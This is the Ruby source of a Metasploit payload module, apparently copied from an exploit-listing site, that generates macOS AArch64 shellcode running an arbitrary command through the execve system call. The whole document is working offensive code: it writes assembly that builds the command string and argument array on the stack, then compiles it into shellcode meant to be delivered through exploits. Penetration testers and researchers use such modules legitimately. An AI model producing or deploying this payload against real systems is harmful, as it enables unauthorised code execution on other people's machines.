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## https://sploitus.com/exploit?id=MSF:PAYLOAD-OSX-AARCH64-EXEC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 76
include Msf::Payload::Single
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'OSX aarch64 Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'alanfoster' ],
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_AARCH64
)
)
# exec payload options
register_options([
OptString.new('CMD', [ true, 'The command string to execute' ])
])
end
# build the shellcode payload dynamically based on the user-provided CMD
def generate(_opts = {})
# Split the cmd string into arg chunks
cmd_str = datastore['CMD']
cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
cmd = cmd_and_args[0]
args = cmd_and_args[1..]
# Don't smash the real sp register, re-create our own on the x9 scratch register
stack_register = :x9
cmd_string_in_x0 = create_aarch64_string_in_stack(
cmd,
registers: {
destination: :x0,
stack: stack_register
}
)
result = <<~EOF
// Set system call SYS_EXECVE 0x200003b in x16
mov x16, xzr
movk x16, #0x0200, lsl #16
movk x16, #0x003b
mov #{stack_register}, sp // Temporarily move SP into scratch register
// Arg 0: execve - const char *path - Pointer to the program name to run
#{cmd_string_in_x0}
// Push execve arguments, using x1 as a temporary register
#{args.each_with_index.map do |value, index|
"// Push argument #{index}\n" +
create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
end.join("\n")
}
// Arg 1: execve - char *const argv[] - program arguments
#{cmd_and_args.each_with_index.map do |value, index|
bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
[
"// argv[#{index}] = create pointer to base of string value #{value.inspect}",
"mov x1, #{stack_register}",
"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
"str x1, [#{stack_register}], #8 // Store the pointer in the stack"
].join("\n") + "\n"
end.join("\n")}
// argv[#{cmd_and_args.length}] = NULL
str xzr, [#{stack_register}], #8
// Set execve arg1 to the base of the argv array of pointers
mov x1, #{stack_register}
sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
mov x2, xzr
// System call
svc #0
EOF
compile_aarch64(result)
end
def create_aarch64_string_in_stack(string, registers: {})
target = registers.fetch(:destination, :x0)
stack = registers.fetch(:stack, :x9)
# Instructions for pushing the bytes of the string 8 characters at a time
push_string = string.bytes
.each_slice(8)
.each_with_index
.flat_map do |eight_byte_chunk, _chunk_index|
mov_instructions = eight_byte_chunk
.each_slice(2)
.each_with_index
.map do |two_byte_chunk, index|
two_byte_chunk = two_byte_chunk.reverse
two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
end
[
"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
*mov_instructions,
"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
]
end
push_string = push_string.join("\n") + "\n"
set_target_register_to_base_of_string = <<~EOF
mov #{target}, #{stack} // Store the current stack location in the target register
sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
EOF
result = <<~EOF
#{push_string}
#{set_target_register_to_base_of_string}
EOF
result
end
def align(value, alignment: 8)
return value if value % alignment == 0
value + (alignment - (value % alignment))
end
def compile_aarch64(asm_string)
require 'aarch64/parser'
parser = ::AArch64::Parser.new
asm = parser.parse without_inline_comments(asm_string)
asm.to_binary
end
# Remove any human readable comments that have been inlined
def without_inline_comments(string)
comment_delimiter = '//'
result = string.lines(chomp: true).map do |line|
instruction, _comment = line.split(comment_delimiter, 2)
next if instruction.blank?
instruction
end.compact
result.join("\n") + "\n"
end
end